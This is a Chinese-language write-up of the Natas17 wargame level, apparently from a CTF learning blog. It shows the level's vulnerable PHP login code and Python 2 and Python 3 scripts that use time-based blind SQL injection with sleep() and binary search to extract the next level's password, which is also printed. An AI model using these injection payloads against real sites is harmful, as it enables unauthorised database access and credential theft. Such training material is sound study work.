Natas17 Writeup（sql盲注之时间盲注）

Natas17：

源码如下

/*

CREATE TABLE `users` (

  `username` varchar(64) DEFAULT NULL,

  `password` varchar(64) DEFAULT NULL

);

*/

if(array_key_exists("username", $_REQUEST)) {

    $link = mysql_connect('localhost', 'natas17', '<censored>');

    mysql_select_db('natas17', $link);

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";

    if(array_key_exists("debug", $_GET)) {

        echo "Executing query: $query<br>";

    }

    $res = mysql_query($query, $link);

    if($res) {

    if(mysql_num_rows($res) > 0) {

        //echo "This user exists.<br>";

    } else {

        //echo "This user doesn't exist.<br>";

    }

    } else {

        //echo "Error in query.<br>";

    }

    mysql_close($link);

}

分析源码，又是一道sql注入题，与15题的内容类似，只是不再提供回显，所有echo均被注释掉了。猜测到username为natas18，依旧是盲注的思想，但因为没有作为判断的回显，所以这次选择时间盲注，使用if()和sleep()函数完成注入。

脚本（二分查找，效率更快）：

#coding:utf-8

import requests

url = 'http://natas17:[e-mail]/index.php'

key =''

for i in range(1,33): #i表示password的每一位字符，因为password共32位字符，所以i取值1-32

	#ascii表中 数字 32–126 分配给了能在键盘上找到的字符

	#下面用了二分法查找password的每一个字符

    a = 32

    c = 126

    while a<c:

        b = (a+c)/2 #79 O

		# MID 函数用于从文本字段中提取字符。

		# mid(password,%d,1)，表示从password中从第%d位开始，取1位字符，即取第%d位字符

		# Ascii（）返回字符的ascii码

		# sleep(n)：将程序挂起一段时间 n为n秒

		# if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

		# if(%d<ascii(mid(password,%d,1)),sleep(2),1)，表示先取出password的第i位，将其换算成ascii码，然后与变量b对比，如果大于b,则睡2秒再返回结果，否则直接返回结果

        payload=r'natas18" and if(%d<ascii(mid(password,%d,1)),sleep(2),1) and "" like "'%(b,i)

        try:

            req = requests.post(url=url,data={"username":payload},timeout=2)

        except requests.exceptions.Timeout,e:

            a=b+1     #80 P

            b=(a+c)/2 #103 g

            continue

        c=b

    key +=chr(b)

    print key

flag：xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

注意：此脚本需要使用Python2.x来运行，否则会报错：TypeError: integer argument expected, got float

原因：

如果一定要使用Python3.x运行，可以把b = (a+c)/2改为b =int( (a+c)/2)

Python3.x脚本：

# coding:utf-8

import requests

url = 'http://natas17:[e-mail]/index.php'

key = ''

for i in range(1, 33):

    a = 32

    c = 126

    while a < c:

        b = int((a + c) / 2)  # 79 O

        payload = r'natas18" and if(%d<ascii(mid(password,%d,1)),sleep(10),1) and "" like "' % (b, i)

        try:

            req = requests.post(url=url, data={"username": payload}, timeout=2)

        except requests.exceptions.Timeout as e:

            a = b + 1  # 80 P

            b = int((a + c) / 2)  # 103 g

            continue

        c = b

    key += chr(b)

    print(key)

由于这里使用的是时间盲注，而网络环境不稳也会导致超时发生，所以sleep(2)可能会导致盲注判断错误，因此这里我改成了sleep(10)。

结果：

参考：https://www.cnblogs.com/ichunqiu/p/9554885.html